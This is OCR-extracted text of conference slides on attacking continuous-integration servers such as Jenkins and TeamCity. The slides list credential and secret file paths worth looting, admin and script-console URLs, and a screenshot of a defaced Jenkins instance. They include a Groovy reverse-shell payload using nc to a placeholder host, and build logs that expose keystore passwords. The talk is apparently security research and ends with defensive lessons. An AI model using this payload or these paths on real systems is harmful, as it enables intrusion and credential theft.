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NIGHTS
Previous works on the subject

e CONTINUOUS INTRUSION: WHY CI TOOLS ARE AN
ATTACKER'S BEST FRIENDS
Nikhil Mittal
e \What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS,
and Your Application Have in Common? This Vulnerability
foxglovesecurity
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Straight and simple Build process

| | | | |
I - | | |
| Uploads sources | I I I
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | I
| | | | |
| \" | _ | |
| | | | |
| | | | I
| | | | |
| | | | |
| | | | |
| | | | |
Developer Code : Bug
(IDE) Repo Cl System Hosting S
SN O



NIGHTS

Straight and simple Build process
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Stvraight and simple Build process
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Straight and simple Build process
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Straight and simple Build process
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Simplified Role model

Cannot do anything

Can view projects (including builds)

Can edit projects (including builds)

Can perform system-wide actions (like configuration,
customizing, run scripts etc)
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NIGHTS
Simplified CIl Architecture

Master
e Controls the entire system:
o Configuration
o User accounts
o Plugin management
e Builds targets
e Temporary hosts builded apps
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Simplified CIl Architecture

Slaves

e Managed by master

e Build targets

e Temporary host builded apps



NIGHTS
Simplified CIl Architecture

User Interface
e Graphical (mostly web-based) interface to control Master
e (sometimes) API's and other such stuff
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Simplified CIl Architecture

Plugins
e Various tools to modify base system
Such as:
o Security plugins
o IDE integration plugins
o Reporting plugins
o Code repos integration plugins
O
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A note on security

e Default configuration isn’t secure at all
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NIGHTS
A note on security

e Default configuration isn’t secure at all
e Still, proper configuration also will not protect you well =(
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Some loot on filesystem

e Jenkins

$JENKINS HOME!/ +:
Isecret/*
Jworkspace/*
JuserContent/*
Jconfig.xml
/secret.key
Jcredentials.xml

O O O O O O



NIGHTS
Some loot on filesystem

e TeamCity
o .BuildServer/config/*
o buildAgent/work/*
$TEAMCITY_HOME/ +:
o webapps/
o logs/teamcity-server.log | grep Super
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A note on security

e Default configuration isn’t secure at all
e Still, proper configuration also will not protect you well =(
e Some tiny little bugs
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| A note on responsibility

e All the bugs are carefully reported to corresponding maintainers
e Maintainers react quite fast
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[Un?]vtypical vectors for abusing Cl tools
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[Un?]vtypical vectors for abusing Cl tools
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[Un?]vtypical vectors for abusing Cl tools
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[Un?]typical vectors for abusing CI tools
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[Un?]vtypical vectors for abusing Cl tools
Attack surface: Plugins
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[Un?]|typica| vectors for abusing Cl tools
Attack surface: Plugins
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[Un?]typical vectors for abusing CI tools
Attack surface: Plugins
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[Un?]vtypical vectors for abusing Cl tools
Attack surface: Plugins
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[Un?]typical vectors for abusing CI tools
Attack surface: Plugins

e Some useful links
- Jenkins custom
plugin server

e Some code examples to play with:

e Groovy payload used in the example:
r=Runtime.getRuntime();p = r.exec(["/bin/bash","-c","mknod /tmp/
backpipe p && /bin/sh 0</tmp/backpipe | nc host port 1>/tmp/
backpipe"] as String[]);p.waitFor()

|
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[Un?]typical vectors for abusing CI tools

capPTain 0BvVIoUS

www.zeronights.or



NIGHTS
[Un?]typical vectors for abusing CI tools

e (Obvious ones
o Phishing
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[Un?]typical vectors for abusing CI tools

e Obvious ones
o Phishing
o Source code stealing
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NIGHTS
[Un?]typical vectors for abusing CI tools

e Obvious ones
o Phishing
o Source code stealing
o Pwning(?)
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NIGHTS
[Un?]typical vectors for abusing CI tools

e Some examples of code to play with:
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[Un?]typical vectors for abusing CI tools

e Obvious ones
o Phishing
o Source code stealing
o Pwning(?)
o Privilege escalation
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[Un?]typical vectors for abusing CI tools

e Some useful scripts:
o Jenkins Unauthenticated Credential Recovery*

*misconfigured jenkins instances only
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[Un?]typical vectors for abusing CI tools

e Interesting ones
o App’s infection
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[Un?]typical vectors for abusing CI tools

e Interesting ones
o App’s infection
o Developer’s identity stealing (private keys)
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[Un?]typical vectors for abusing Cl tools

€« o localhost
** Cepeucet () Pentest (] Android (] Web [_] Reverse [_] dirty little helper & Flashback Photobor (] Courses () Subrosa [0 DNekogep & (65) DEFCON-RUS SGP (] Pytho!

github

Android with keys

Back to Project
Status () Console Output

» Changes
Started by user anonymous
Console Output Building in workspace /var/lib/jenkins/workspace/Android with keys
> git rev-parse --1is-inside-work-tree # timeout=10
View as plain text Fetching changes from the remote Git repository
> git config remote.origin.url https://github.com/osakaaa/ZN_Android.git # timeout=10
» Edit Build Information Fetching upstream changes from https://github.com/osakaaa/ZN_Android.qgit
> g1t --version # timeout=10
Delete Build > git -c core.askpass=true fetch --tags --progress https://github.com/osakaaa/ZN_Android.git
+refs/heads/*:refs/remotes/origin/*
> git rev-parse refs/remotes/origin/master”{commit} # timeout=10
> git rev-parse refs/remotes/origin/origin/master~{commit} # timeout=10
Checking out Revision 02aba39d6el4eal5a91874f0e3a35b38al1573801 (refs/remotes/origin/master)
> git config core.sparsecheckout # timeout=10
> git checkout -f 02aba39d6el4eal5a91874f0e3a35b38a1573801
Previous Build > git rev-list ©2aba39d6eld4eal5a91874f0e3a35b38a1573801 # timeout=10
[Android with keys] $ ant sdk.dir=/home/andrusha/android-sdk- linux/ _farget=beegte—tntmaGo0ogle APIS:13
key.store=zn.keystore key.alias=zn key.store.password=123QWEas ey.alias.password=123QWEasd
Buildfile: /var/lib/jenkins/workspace/Android with keys/build.xm

Git Build Data

No Tags

BUILD FAILED
Target "sdk.dir=/home/andrusha/android-sdk-linux/" does not exist in the project "SuperPuperApp".

Total time: 0@ seconds
Build step 'Buizeatb Ant' marked build as failure
Finished: FAILURE
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[Un?]typical vectors for abusing CI tools

e Interesting ones
o App’s infection
o Developer’s identity stealing (private keys)
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[Un?]typical vectors for abusing CI tools

e Interesting ones
o App’s infection
o Developer’s identity stealing (private keys)
o Botnet? :D
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NIGHTS

[Un?]typical vectors for abusing Cl tools
C' [ ot —

* Cepeuce (] Pentest (] Android (] Web (] Reverse [C] dirty little helper &3 Flashback Photobor (] Courses () Subrosa [l Oekomep & (65) DEFCON-RUS SGP [ Python

» [ Opyrvie 3aknagkw

@ Jenkins CEER—

Jenkins

Willkommen

New Item
Turkhackteam.org hacked by sports16

& People

- “LOOOOOOOL.

Project Relationship
allah 19 hr - #1 N/A

Check File Fingerprint

-
J allah2 19 hr - #2 N/A

2. Manage Jenkins

- . Hacked By Turkhackteam By Co AdmirHacked By

A. Credentials Tiirkhackteam By Co AdmirHacked By Tiirkhackteam By
AdmirHacked By Turkhackteam By Co AdmirHacked By
7 Restart Safely Tirkhackteam By Co AdmirHacked By Tirkhackteam By
AdmirHacked By Turkhackteam By Co AdmirHacked By
Turkhackteam By Co AdmirHacked By Turkhackteam By
Build Queue AdmirHacked By Turkhackteam By Co AdmirHacked By
Turkhackteam By Co AdmirHacked By Turkhackteam By
No builds in the queue. AdmirHacked By Tirkhackteam By Co AdmirHacked By
Tilrkhackteam By Co AdmirHacked By Turkhackteam By
AdmirHacked By Tirkhackteam By Co AdmirHacked By
Tlrkhackteam By Co AdmirHacked By Turkhackteam By
AdmirHacked By Tirkhackteam By Co AdmirHacked By
1 Idle Turkhackteam By Co AdmirHacked By Turkhackteam By
AdmirHacked By Turkhackteam By Co AdmirHacked By
2 Idle Turkhackteam By Co AdmirHacked By Turkhackteam By
AdmirHacked By Tirkhackteam By Co AdmirHacked By

Turkhackteam By Co AdmirHacked By Tirkhackteam By Co 11 days - #5
AdmirHacked By Tiurkhackteam By Co AdmirHacked By

Turkhackteam By Co AdmirHacked By Turkhackteam By Co

AdmirHacked By Tiurkhackteam By Co AdmirHacked By
Turkhackteam By Co AdmirHacked By Turkhackteam By
AdmirHacked By Turkhackteam By Co AdmirHacked By
Turkhackteam By Co AdmirHacked By Turkhackteam By
AdmirHacked By Turkhackteam By Co AdmirHacked By
Turkhackteam By Co AdmirHacked By Turkhackteam By

Build Executor Status

wedit description

Last Duration
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MNIGHTS
Some useful paths

e Jenkins:

/script
/credential-store/
/credentials/
/signup/
/view/All/newdJob
userContent

O O O O O O



MNIGHTS
Some useful paths

e TeamCity:
o [registerUser.html
o /guestLogin.html
o /admin/admin.html
m (may be accessible due to poor configuration)
o [admin/editProject.html?projectld=Test
m (may be accessible due to poor configuration)



MIGHTS
Some useful paths

Other interesting stuff
e Java unsafe deserialization
o Payload generator:

o Exploit:

o My All-in-one compilation:



MNIGHTS
Lessons learned

Cl Tools are gates to Developer’s network. So, they must be

protected well:

e Never rely on default settings

Never bind to 0.0.0.0

Never rely on safety of 3rd party components like plugins

Update your Cl as soon as a new security advisory is published

Perform additional validation on uploaded source code before

and after build in

e Try to separate projects from each other and from Master
(Docker?)
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DevEnv: Not only CI tools

CVE-2015-4499

» Severity Rating « Fix Information » Vulnerable Software Versions « SCAP Mappings

Util.pm in Bugzilla 2.x, 3.x, and 4.x before 4.2.15, 4.3.x and 4.4.x before 4.4.10, and 5.x before 5.0.1 mishandles long e-mail addresses during account registration, which allows remote attackers to obtain the default privileges for an arbitrary domain name by
placing that name in a substring of an address, as demonstrated by truncation of an @mozilla.com.example.com address to an @mozilla.com address.

are provided for the convenience of the reader to help tinguish between vulnerabilities. The list is not intended to be comg

BUGTRAQ:20150910 Security Advisory for Bugzilla 5.0, 4.4.9, and 4.2.14

BUGTRAQ:20150910 Security Advisory for Bugzilla 5.0.1, 4.4.10 and 4.2.15

20150610 Disclaimer: The entry creation date may reflect when the CVE-ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE

Assigned (20150610)

N/A

This is an entry on the which standardizes names for security problems.

SEARCH CVE USING KEYWORDS: Submit
You can also search by reference using the

For More Information:
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